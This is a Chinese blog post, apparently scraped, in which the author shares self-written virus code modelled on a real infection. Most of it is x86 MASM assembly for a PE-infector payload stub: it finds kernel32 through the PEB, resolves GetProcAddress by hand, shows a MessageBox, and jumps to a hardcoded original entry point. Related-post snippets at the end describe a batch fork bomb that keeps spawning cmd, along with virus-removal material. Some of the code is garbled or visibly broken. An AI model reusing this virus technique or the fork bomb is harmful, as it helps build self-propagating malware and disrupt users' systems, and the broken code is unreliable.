自己寫的小病毒

2021-03-31 11:26:48 字數 3068 閱讀 6370

前年寫的病毒,當時中了蘿拉病毒,然後我照的它寫了乙個,參考了好多資料,主要是386彙編和pe檔案結構的資料,個人感覺彙編什麼的不是很難,當時我還不太熟悉巨集彙編,不然可以有更簡潔的**

.486

.model flat, stdcall

option casemap :none

include /ma**32/include/windows.inc

.code

start:

call pstart

pstart:

pop ebx       ;mov ebx,dword ptr [esp]

sub ebx,offset pstart   ;//ebx為重定位資訊,現在應該是0

push ebp      ;//儲存程式開始時的ebp

mov ebp,esp

sub esp,80h     ;//根據變數改變40h

mov dword ptr [ebp-4],ebx  ;//儲存到pbase

;///getkernelbase///

mov eax, ss:[30h]

test eax,eax

js loc1

mov eax, dword ptr [eax + 0ch]

mov esi, dword ptr [eax + 1ch]

lodsd           

mov eax, dword ptr [eax+8]

jmp loc2

loc1:

mov eax,dword ptr [eax+34h]

mov eax,dword ptr [eax+0b8h]

loc2:

mov dword ptr [ebp-10h],eax

push ebp      ;//儲存變數表指標ebp

mov ebp,eax        ;//ebp=kbase

;///get getprocaddress's enterpoint//

mov eax,dword ptr [ebp+3ch]

mov edx,dword ptr [ebp+eax+120]

add edx,ebp

mov ecx,dword ptr [edx+24]  ;//number

mov ebx,dword ptr [edx+28]  ;// at=esp+4

push dword ptr [edx+32]  ;//npt=esp

;mov edi,esp

sub edi,10h

mov dword ptr [edi],50746547h

mov dword ptr [edi+4],41636f72h       ; 要改

mov dword ptr [edi+8],65726464h

mov dword ptr [edi+0ch],00007373h  

;findstart:

dec ecx

xor edx,edx

mov esi,dword ptr [esp]

add esi,ebp

mov esi,dword ptr [esi]

add esi,ebp

cmpbyte:

lodsb

cmp al,byte ptr [edi+edx]

jne notsame

cmp edx,14

je find

inc edx

loop cmpbyte

jmp cantfind

notsame:

add dword ptr [esp],4

add ebx,4

jmp findstart

cantfind:

xor eax,eax

jmp findend

find:

add ebx,ebp

mov eax,dword ptr[ebx]

add eax,ebp

findend:

add esp,4

pop ebp       ;//pop出變數表指標

mov dword ptr [ebp-0ch],eax  ;//儲存getprocaddress的函式入口點

;/mov ebx,dword ptr [ebp-4]

mov edx,offset loadlibrary    ;//loadlibrary

add edx,ebx

push edx

push dword ptr [ebp-10h]

call dword ptr [ebp-0ch]    ;//獲得loadlibrary的位址

mov dword ptr [ebp-14h],eax

mov edx,offset user32     ;//user32.dll

add edx,ebx 

push edx

call eax        ;//呼叫loadlibrary

mov edx,offset messagebox     ;//user32.dll

add edx,ebx

push edx

push eax

call dword ptr [ebp-0ch]   ;//獲得messageboxa的位址

push 0

push edx

push edx

push 0

call eax

nopnop

;//

add esp,80h     ;//根據變數改變40h

pop ebp

jmp pend

;loadlibrary:

db "loadlibrarya",0

user32:

db "user32.dll",0

messagebox:

db "messageboxa",0

pend:

mov eax,0041c560h   ;//轉到正常的程式入口點

jmp eax 

nopnop

nopnop

nopnop

nop

end start

用bat寫的乙個小病毒

最近看了一點bat的知識,具體說是看了乙個部落格 用了三天才看完 感覺作者整理整理可以把部落格當書買了。然後自己突發其想,想到了乙個小病毒程式,其實也算不上病毒,只能算是個惡作劇程式吧,其原理就是不斷開啟cmd程式,占用系統資源。呵呵。讓大神見笑了 windows.bat start cmd 0使用...

如何手動清除常見的小病毒

在本文中涉及的軟體1 process explorer 乙個程序管理器,比系統中的任務管理器強點。2 autoruns 自啟動項管理器,可以檢視系統中地自啟動專案,掃瞄很全面。病毒確實是乙個令人頭痛的問題,特別對於那些對系統不是太熟悉的人。本文針對這一部分人,嘗試著教會他們如何應對。如果您是大蝦,請...

BCB寫病毒專殺

bool fastcall tmainform deletevirusfile char buffer max path statememo lines add 可疑檔案 string buffer 清除失敗 return false 下面將會頻繁地呼叫這兩個函式,我們的重點在於快速查殺,通常情況下...